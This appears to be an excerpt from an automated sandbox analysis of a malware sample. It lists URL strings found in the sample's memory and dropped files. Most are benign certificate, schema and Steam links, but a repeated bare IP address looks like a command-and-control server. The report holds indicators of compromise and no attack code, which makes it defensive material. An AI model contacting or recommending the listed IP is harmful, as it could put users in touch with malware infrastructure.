Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/DInvalidGlobalDataContractNamespace
Source: EHDHIDAEHC.exe, 00000004.00000000.2083490533.0000000000602000.00000002.00000001.01000000.00000009.sdmp, mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr	String found in binary or memory: http://schemas.datacontract.org/2004/07/System
Source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.Xml
Source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.Xml.Linq
Source: EHDHIDAEHC.exe, 00000004.00000000.2083490533.0000000000602000.00000002.00000001.01000000.00000009.sdmp, mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr	String found in binary or memory: http://schemas.datacontract.org/2004/07/dhttp://schemas.datacontract.org/2004/07/System.XmlRhttp://w
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agr
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181756308.00000000251AD000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356741702.000000002005D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://168.119.176.241
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/$
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/&
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/(%f
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/19.176.241/D
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/259H
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1875999041.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/41
